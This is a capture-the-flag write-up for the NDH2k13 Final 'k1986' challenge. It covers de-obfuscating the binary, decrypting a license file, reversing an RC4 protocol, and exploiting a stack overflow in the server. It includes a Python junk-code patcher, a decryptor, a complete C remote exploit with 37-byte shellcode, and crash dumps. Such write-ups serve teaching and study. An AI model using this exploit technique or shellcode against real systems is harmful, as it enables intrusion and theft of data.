Write-up NDH2k13 Final K1986
by @Jonathan Salwan - 2013-06-23In this challenge, we have just two files - k1986
and license.db
. The first file is a simple ELF-64 binary
and the second a raw file - Probably encrypted as you can see below :
0000000 " 022 ( 035 . 032 ~ 032 " 033 x O . 036 | J 0000010 , 025 # 021 r F ~ 037 y 037 { O { H * L 0000020 ~ J + ! 021 032 y 035 . 036 { O , I } 0000030 N x 032 * 022 w A r D | O - H . 034 y 0000040 @ & 025 026 & 025 037 / 035 ' 020 ! 024 F 0000050 p C p @ " G " 025 & G ~ 032 - 034 + 022 0000060 * 033 " D 020 " 023 p B r x H { A x 0000070 @ % 023 + 033 " C s 027 q I q 024 " C w 0000080 B $ 023 022 * 033 " D | M + H q 022 030 0000090 ( 034 & G " C w B $ 026 & 037 { 036 x O 00000a0 z 031 ( 020 # @ w 024 r J + 036 + H { B 00000b0 s D ' - 035 ( 022 t 026 & 021 ' 021 & 023 w 00000c0 022 v D p 021 t 027 s K | 037 * L t A x 00000d0 A % 020 & 026 & G M } K q B z H q C 00000e0 ' 021 ! D ' 024 & 026 % 035 ) L ( 035 , I 00000f0 { 036 x I y K z 034 ( 037 * 020 ' 035 x 0000100 I { J | J ~ J ( 037 ' 027 / 032 . 033 177 0000110 032 x I { J ) 033 # 032 " 027 v F s B H 0000120 x @ z 031 } I * 030 ! G v C v G & 037 0000130 + 033 } 031 | 035 y O v 023 % G q @ % 023 0000140 % C z p @ y C s 020 v F t 027 031 | 0000150 030 z L - N - L ~ K s 020 v D u 026 ! 0000160 D } 033 # 022 % @ J 0000168
When we run the k1986
binary, we can see that's a server which listen on
the port 1024
. When we try to send some random data, our session is closed.
# ./k1986 # netcat localhost 1024 Connexion received: 127.0.0.1 netcat: using stream socket Connexion closed: 127.0.0.1 test Connexion received: 127.0.0.1 # netcat localhost 1024 Connexion closed: 127.0.0.1 netcat: using stream socket retest #
The goal of this challenge is to get the license.db which belongs to others teams. So we need to:
- Reverse the file format of license.db
- Reverse the TCP protocol
- Communicate with server
- Find the vulnerability
- Make the exploit and attacks all teams
When we try to open the k1986
binary with GDB or Objdump we get File format not recognized
, for the time being we
cannot debug the binary.
# gdb ./k1986 GNU gdb (Gentoo 7.5.1 p2) 7.5.1 ... "/home/jonathan/ndh/k1986": not in executable format: File format not recognized gdb-peda> r Starting program: No executable file specified. Use the "file" or "exec-file" command. gdb-peda> # objdump -Mintel -d ./k1986 objdump: ./k1986: File format not recognized #
When we try to open it in IDA, we get some errors:
IDA informs us that the binary is corrupt. We begin to fix the ELF header and reset the SHT. GDB cannot load a ELF binary if the SHT is corrupts. To fix it, we can just set the SHT (Start of section headers) to 0.
# readelf -h ./k1986 ELF Header: ... Start of section headers: 128 (bytes into file) ... # readelf -h ./k1986 ELF Header: ... Start of section headers: 0 (bytes into file) ...
After this little fix, you can run and debug the binary with GDB. When we disassembles the binary with IDA,
we can see that the binary contains some little obfuscations - Break Basic Bloc and Junk codes. As you can
see below, all basic blocks are broken. We can see that the binary do some push ; ret
to break the IDA basic
bloc - That's classic.
When we see in detail what happens, we can see everywhere in the binary a push rax
+ lea ; push ; ret
+ pop rax
sequence. Every sequences of the lea ; push ; ret
is equals to a jump rip+1
.
We can also find lot of sequences which is a simple junk codes. The binary contains only two differents sequences of junk codes. As you can see below the first sequence is :
And the second sequence of junk codes is :
We can also find some calls which breaking the basic blocks.
Before starting the reverse with IDA and GDB, we will withdraw all sequences of junk codes
and break basic block
.
After that, it will be easier to understand the operations of the binary. For that, we replace all sequences by the opcode
nop
.
#!/usr/bin/env python2 ## -*- coding: utf-8 -*- ## ## Fix junk codes and basic block on k1986 binary (NDH2k13-Final) ## import sys if __name__ == "__main__": if len(sys.argv) < 2: print "Syntax : %s <binary>" %(sys.argv[0]) sys.exit(1) # 50 push rax # 48 8d 05 02 00 00 00 lea rax,[rip+0x2] # 50 push rax # c3 ret # 58 pop rax op_bb_break = "\x50\x48\x8d\x05\x02\x00\x00\x00\x50\xc3\x58" op_bb_break_fix = "\x90" * len(op_bb_break) # eb 11 jmp 0x11 # 56 push rsi # 48 89 c6 mov rsi,rax # 50 push rax # 48 83 f6 61 xor rsi,0x61 # 48 c1 e8 03 shr rax,0x3 # 5e pop rsi # 58 pop rax # eb 02 jmp 0x2 # eb ed jmp 0xed op_junk_code1 = "\xeb\x11\x56\x48\x89\xc6\x50\x48\x83\xf6\x61\x48" op_junk_code1 += "\xc1\xe8\x03\x5e\x58\xeb\x02\xeb\xed" op_junk_code1_fix = "\x90" * len(op_junk_code1) # 57 push rdi # 53 push rbx # 48 31 df xor rdi,rbx # 48 c1 eb 03 shr rbx,0x3 # 5f pop rdi # 5b pop rbx op_junk_code2 = "\x57\x53\x48\x31\xdf\x48\xc1\xeb\x03\x5f\x5b" op_junk_code2_fix = "\x90" * len(op_junk_code2) fd = open(sys.argv[1], "r") raw = fd.read() fd.close() raw = raw.replace(op_bb_break, op_bb_break_fix) raw = raw.replace(op_junk_code1, op_junk_code1_fix) raw = raw.replace(op_junk_code2, op_junk_code2_fix) fd = open(sys.argv[1] + ".patched", "w") fd.write(raw) fd.close() print "Binary patched" sys.exit(0)
Now, we can starting the reverse :). In sub_401D52
function we can find the string license.db
and a call to libc.open
, when
we following the execution flow, we can see that the fd
is read - on my screenshot the buffer is called ciphered_license
. Then, a second buffer
is allcated for the plaintext license. Just after that, we can find two interesting basic blocks which decrypts the license buffer.
The first basic block is taken if the offset
is 0, that means when it's the first character. It xor
the first character with the value 0x12
and put it into the plaintext
buffer. Otherwise the second basic block is taken and it xor
the current character with the previus character
and put it into the plaintext buffer. Now we know and we can uncrypts the license.db file.
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/types.h> #include <unistd.h> int main(int ac, const char *av[]){ char *ciphered, *plaintext; int fd, offset; off_t size; if ((fd = open("./license.db", O_RDONLY)) < 0) return -1; size = lseek(fd, SEEK_CUR, SEEK_END); lseek(fd, 0, SEEK_SET); if (!(ciphered = malloc(size * sizeof(char)))) return -2; if (!(plaintext = malloc(size * sizeof(char)))) return -3; read(fd, ciphered, size); close(fd); for(offset = 0; offset < size ; offset++){ if (offset == 0) plaintext[offset] = ciphered[offset] ^ 0x12; else plaintext[offset] = ciphered[offset] ^ ciphered[offset-1]; } printf("%s\n", plaintext); free(ciphered); free(plaintext); return 0; } # gcc -o open_license open_license.c # ./open_license 00:534dd89c7a0b6f962c48affd443bf24a 01:cd30e4ce436b08e63683bef2e9f35603 02:7154f6330bee73a9d7179819fd021c20 03:98e6809a0df88e6a45f732819f81fc9c 04:aea45f209def75c183c7cf8a55c3917c 05:fb076675ded24aecd87c5f8599d5600a 06:38292d60ec320384ed51e2ef1021f475 07:e1216644b7808545deb121c28985a051 08:cd4c29f1551a940fdead69e6b61e66f9 09:0cf02c79edb6acca258cf21c7e9f817e
Now, we need to know how to communicate with the server. Continuing the analysis, we can find a function - sub_401A3F
- which
do a RC4 encryption
. If you follow the execution flow, you can see that this function takes in argument the TCP request,
the key and a empty buffer. Looking the call graph, we can find the key of RC4 encryption at 402062
as you can see below.
Just after the call of RC4 uncrypts routine, the function checks a magic number
on the first 3 bytes of the uncrypted TCP request.
The magic number need to be set at NDH
. Below, each basic block compares each character of the magic number.
After this check, we have a second check which compares if the 4th and 7th character is :
. Then we have a call to the function libc.atoi
at the offset request+5
and saves it on [rbp+var_4]
. A second pointer is set at the offset request+8
. In bref, the request need to be as
follows :
NDH:[0-9]{2}:[0-9a-zA-Z]
Ok, now we can communicate with the server. Below, a simple test which sending the NDH:01:test
request.
#define RC4_KEY "\x90\x3f\x8e\x7f\x8a" int main(int ac, char **av) { int fd1, fd2; struct sockaddr_in sock; int sock_long; char recv[4096] = {0}; char trameRC4[] = "NDH:01:test"; if (ac < 3){ printf("Syntax : %s <ip> <port>\n", av[0]); return -1; } sock_long = sizeof(sock); sock.sin_family = AF_INET; sock.sin_addr.s_addr = inet_addr(av[1]); sock.sin_port = htons(atoi(av[2])); rc4(trameRC4, sizeof(trameRC4), (uint8_t*)RC4_KEY, strlen(RC4_KEY)); if ((fd1 = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -2; if ((fd2 = connect(fd1, (struct sockaddr*)&sock, sock_long)) < 0) return -3; write(fd1, trameRC4, sizeof(trameRC4)); read(fd1, recv, sizeof(recv)); printf("Answer : %s", recv); close(fd2); close(fd1); return 0; } # gcc -o test ./test.c # ./test 127.0.0.1 1024 Answer : False
The server replie False
. If we send a good key like 01:cd30e4ce436b08e63683bef2e9f35603
the server replie True
.
- Reverse file format of license.db [OK]
- Reverse TCP protocol [OK]
- Communicate with server [OK]
Now, we need to find the vulnerability to get the license.db file of any other teams. The vulnerability is in the sub_401D52
function - 40200A
. We can see a call to the libc.sprintf
function without checking the size of the [rbp+var_60] argument.
This argument is the license pointer. In bref, this call puts 01:cd30e4ce436b08e63683bef2e9f35603
without checking the size of the
license in a buffer allocated on the stack - The vulnerability is a classical stack overflow.
To trigger it, we can just sent this following request encrypted in RC4:
"NDH:00:" /* Magic number */ "AAAAAAAA" "AAAAAAAA" "AAAAAAAA" "AAAAAAAA" "AAAAA" "BBBBBBBB" "AAAAAAAA" /* padding */ "AAAAAAAA" /* padding */ "AAAAAAAA" /* padding */ "CCCCCCCC" /* sRBP */ "DDDDDDDD" /* sRIP */
And we get the famous SIGSEGV.
Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7ffff7011700 (LWP 19023)] [----------------------------------registers-----------------------------------] RAX: 0x4242424242424242 ('BBBBBBBB') RBX: 0x7fffe8000020 --> 0x300000000 RCX: 0x30 ('0') RDX: 0x7ffff7010e18 RSI: 0x7ffff7010e18 RDI: 0x4242424242424242 ('BBBBBBBB') RBP: 0x7ffff7010e60 ("AAAAAAAACCCCCCCC") RSP: 0x7ffff7010dc8 --> 0x7fffe8000020 --> 0x300000000 RIP: 0x7ffff7938ca5 (movzx edx,BYTE PTR [rdi]) R8 : 0x0 R9 : 0x4023f4 --> 0x54008a7f8e3f9000 R10: 0x7ffff7010ba0 --> 0x0 R11: 0x7ffff7938c90 (push r15) R12: 0x7ffff7bd0620 --> 0x0 R13: 0x7ffff70119c0 --> 0x7ffff78129c0 --> 0x7ffff7dd6240 (0x00007ffff70119c0) R14: 0x7ffff7ffd000 --> 0x7ffff7ffe1a8 --> 0x0 R15: 0x7 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff7938c9d: push rbp 0x7ffff7938c9e: push rbx 0x7ffff7938c9f: je 0x7ffff7938d30 => 0x7ffff7938ca5: movzx edx,BYTE PTR [rdi] 0x7ffff7938ca8: test dl,dl 0x7ffff7938caa: je 0x7ffff7938ff4 0x7ffff7938cb0: cmp BYTE PTR [rdi+0x1],0x0 0x7ffff7938cb4: je 0x7ffff7939156 [------------------------------------stack-------------------------------------] 0000| 0x7ffff7010dc8 --> 0x7fffe8000020 --> 0x300000000 0008| 0x7ffff7010dd0 --> 0x7ffff7010e60 ("AAAAAAAACCCCCCCC") 0016| 0x7ffff7010dd8 --> 0x7ffff7bd0620 --> 0x0 0024| 0x7ffff7010de0 --> 0x7ffff70119c0 --> 0x7ffff78129c0 --> 0x7ffff7dd6240 0032| 0x7ffff7010de8 --> 0x7ffff7ffd000 --> 0x7ffff7ffe1a8 --> 0x0 0040| 0x7ffff7010df0 --> 0x7 0048| 0x7ffff7010df8 --> 0x402026 (test rax,rax) 0056| 0x7ffff7010e00 --> 0x7ffff00008c7 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00007ffff7938ca5 in ?? () from /lib64/libc.so.6
Maybe you may ask you why the crash is not on the ret instruction, beacause juste after the libc.scanf
we have a
call to the libc.strstr
function, and this function takes a pointer overwritten by our payload. That why we gets
a SIGSEGV on the movzx edx,BYTE PTR [rdi]
instruction. To control the RIP register, we need to fix the RDI register,
for that we need to set a 64 bits mapped address, but in 64 bits the CODE, DATA, STACK section is mapped between 24 and 48 bits and we
cannot set a 48 bits address because we cannot set a NULL bytes on our payload. OK, but where I can find a 64 bits mapped
address ? In the vsyscall area !
00400000-00403000 r-xp 00000000 08:07 1950122 /home/jonathan/ndh/k1986 00602000-00603000 r-xp 00002000 08:07 1950122 /home/jonathan/ndh/k1986 00603000-00604000 rwxp 00003000 08:07 1950122 /home/jonathan/ndh/k1986 01553000-01574000 rwxp 00000000 00:00 0 [heap] 7fa0b3ab0000-7fa0b3ab1000 ---p 00000000 00:00 0 7fa0b3ab1000-7fa0b42b1000 rwxp 00000000 00:00 0 [stack] 7fa0b42b1000-7fa0b42b2000 ---p 00000000 00:00 0 7fa0b42b2000-7fa0b4ab2000 rwxp 00000000 00:00 0 [stack] 7fa0b4ab2000-7fa0b4c53000 r-xp 00000000 08:07 4957828 /lib64/libc-2.15.so 7fa0b4c53000-7fa0b4e53000 ---p 001a1000 08:07 4957828 /lib64/libc-2.15.so 7fa0b4e53000-7fa0b4e57000 r-xp 001a1000 08:07 4957828 /lib64/libc-2.15.so 7fa0b4e57000-7fa0b4e59000 rwxp 001a5000 08:07 4957828 /lib64/libc-2.15.so 7fa0b4e59000-7fa0b4e5d000 rwxp 00000000 00:00 0 7fa0b4e5d000-7fa0b4e75000 r-xp 00000000 08:07 4957809 /lib64/libpthread-2.15.so 7fa0b4e75000-7fa0b5074000 ---p 00018000 08:07 4957809 /lib64/libpthread-2.15.so 7fa0b5074000-7fa0b5075000 r-xp 00017000 08:07 4957809 /lib64/libpthread-2.15.so 7fa0b5075000-7fa0b5076000 rwxp 00018000 08:07 4957809 /lib64/libpthread-2.15.so 7fa0b5076000-7fa0b507a000 rwxp 00000000 00:00 0 7fa0b507a000-7fa0b509c000 r-xp 00000000 08:07 4957538 /lib64/ld-2.15.so 7fa0b526a000-7fa0b526d000 rwxp 00000000 00:00 0 7fa0b529a000-7fa0b529b000 rwxp 00000000 00:00 0 7fa0b529b000-7fa0b529c000 r-xp 00021000 08:07 4957538 /lib64/ld-2.15.so 7fa0b529c000-7fa0b529d000 rwxp 00022000 08:07 4957538 /lib64/ld-2.15.so 7fa0b529d000-7fa0b529e000 rwxp 00000000 00:00 0 7fff41658000-7fff41679000 rwxp 00000000 00:00 0 [stack] 7fff417bf000-7fff417c0000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
Now, our payload look like this :
"NDH:00:" /* Magic number */ "AAAAAAAA" "AAAAAAAA" "AAAAAAAA" "AAAAAAAA" "AAAAAA" /* vsyscall pointer to fix */ /* movzx edx,BYTE PTR [rdi]*/ /* in the libc.strstr */ "\x04\x60\xff\xff\xff\xff\xff" "AAAAAAAA" /* padding */ "AAAAAAAA" /* padding */ "AAAAAAAA" /* padding */ "BBBBBBBB" /* sRBP */ "CCCCCCCC" /* sRIP */
And now, we SIGSEGV successfully on the ret
instuction.
Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7ffff7011700 (LWP 27864)] [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7fffe8000020 --> 0x300000000 RCX: 0x10 RDX: 0x7ffff7978088 --> 0xf0e0d0c0b0a0908 RSI: 0x7ffff7010e18 RDI: 0xffffffffff600801 (mov eax,0x135) RBP: 0x4242424242424242 ('BBBBBBBB') RSP: 0x7ffff7010e68 ("CCCCCCCC") RIP: 0x402043 (ret) R8 : 0x0 R9 : 0x0 R10: 0x7ffff7010e28 R11: 0xe18 R12: 0x7ffff7bd0620 --> 0x0 R13: 0x7ffff70119c0 --> 0x7ffff78129c0 --> 0x7ffff7dd6240 (0x00007ffff70119c0) R14: 0x7ffff7ffd000 --> 0x7ffff7ffe1a8 --> 0x0 R15: 0x7 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40203b: jmp 0x402042 0x40203d: mov eax,0x0 0x402042: leave => 0x402043: ret 0x402044: push rbp 0x402045: mov rbp,rsp 0x402048: sub rsp,0x20 0x40204c: mov DWORD PTR [rbp-0x14],edi [------------------------------------stack-------------------------------------] 0000| 0x7ffff7010e68 ("CCCCCCCC") 0008| 0x7ffff7010e70 0016| 0x7ffff7010e78 --> 0x5d00000000 ('') 0024| 0x7ffff7010e80 0032| 0x7ffff7010e88 --> 0xf7bcd5a9 0040| 0x7ffff7010e90 --> 0x7ffff7010eb0 --> 0x7ffff7010ee0 --> 0x0 0048| 0x7ffff7010e98 --> 0x4016ae (mov rax,QWORD PTR [rbp-0x8]) 0056| 0x7ffff7010ea0 --> 0x80000005d [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000402043 in ?? () peda# x/x $rsp 0x7ffff7010e68: 0x4343434343434343
This exploit is tricky because we have a little space to put our shellcode. Below, you can see two possible scenarios.
I managed to create a shellcode which returns me the license file with only 37 bytes.
That why I have chosen the scenario 1. When the SIGSEGV occurs, in the current and
previus stack frame we can find the client fd
, and the plaintext
pointer. Below, you
can see my shellcode which do a simple write(fd, plaintext, 4095)
.
push rsp pop rbp dec rbp mov rbx, QWORD PTR [rbp+0x1] inc bh xor rdi, rdi mov dil, BYTE PTR [rbx] sub rbp, 0x10 mov rsi, QWORD PTR [rbp-0x4f] inc al xor rdx, rdx mov dx, 0xfff syscall ret
[rbp+256]
points on the current file descriptor of the socket. Then, [rbp-0x4f]
points on
the plaintext pointer. So, my complete exploit look like that :
#define RC4_KEY "\x90\x3f\x8e\x7f\x8a" int main(int ac, char **av) { int fd1, fd2, sock_long; struct sockaddr_in sock; char recv[4096] = {0}; char trameRC4[] = /* Payload */ "NDH:00:" /* Magic number */ /* 54 push rsp 5d pop rbp 48 ff cd dec rbp 48 8b 5d 01 mov rbx,QWORD PTR [rbp+0x1] fe c7 inc bh 48 31 ff xor rdi,rdi 40 8a 3b mov dil,BYTE PTR [rbx] 48 83 ed 10 sub rbp,0x10 48 8b 75 b1 mov rsi,QWORD PTR [rbp-0x4f] fe c0 inc al 48 31 d2 xor rdx,rdx 66 ba ff 0f mov dx,0xfff 0f 05 syscall c3 ret */ /* shellcode 37 bytes */ "\x54\x5d\x48\xff\xcd\x48\x8b\x5d" "\x01\xfe\xc7\x48\x31\xff\x40\x8a" "\x3b\x48\x83\xed\x10\x48\x8b\x75" "\xb1\xfe\xc0\x48\x31\xd2\x66\xba" "\xff\x0f\x0f\x05\xc3" "A" /* /lib64/libc.0x7ffff7938ca5 */ /* movzx edx,BYTE PTR [rdi] */ /* vsyscall pointer */ "\x04\x60\xff\xff\xff\xff\xff" "AAAAAAAA" /* padding */ "AAAAAAAA" /* padding */ "AAAAAAAA" /* padding */ "AAAAAAAA" /* padding */ /* 0x7ffff7010e1b */ "\x1b\x0e\x01\xf7\xff\x7f\x00"; /* RIP */ if (ac < 3){ printf("Syntax : %s <ip victime> <port victime>\n", av[0]); return -1; } sock_long = sizeof(sock); sock.sin_family = AF_INET; sock.sin_addr.s_addr = inet_addr(av[1]); sock.sin_port = htons(atoi(av[2])); rc4(trameRC4, sizeof(trameRC4), (uint8_t*)RC4_KEY, strlen(RC4_KEY)); fd1 = socket(AF_INET, SOCK_STREAM, 0); perror("socket "); fd2 = connect(fd1, (struct sockaddr*)&sock, sock_long); perror("connect "); write(fd1, trameRC4, sizeof(trameRC4)); perror("send exploit "); read(fd1, recv, sizeof(recv)); perror("recv answer "); printf("\nAnswer : \n%s", recv); close(fd2); close(fd1); return 0; } # gcc -o exploit ./exploit.c # ./exploit 127.0.0.1 1024 socket : Success connect : Success send exploit : Success recv answer : Success Answer : 00:534dd89c7a0b6f962c48affd443bf24a 01:cd30e4ce436b08e63683bef2e9f35603 02:7154f6330bee73a9d7179819fd021c20 03:98e6809a0df88e6a45f732819f81fc9c 04:aea45f209def75c183c7cf8a55c3917c 05:fb076675ded24aecd87c5f8599d5600a 06:38292d60ec320384ed51e2ef1021f475 07:e1216644b7808545deb121c28985a051 08:cd4c29f1551a940fdead69e6b61e66f9 09:0cf02c79edb6acca258cf21c7e9f817e #
On the CTF machine team the ASLR is disable, which making the exploitation straightforward.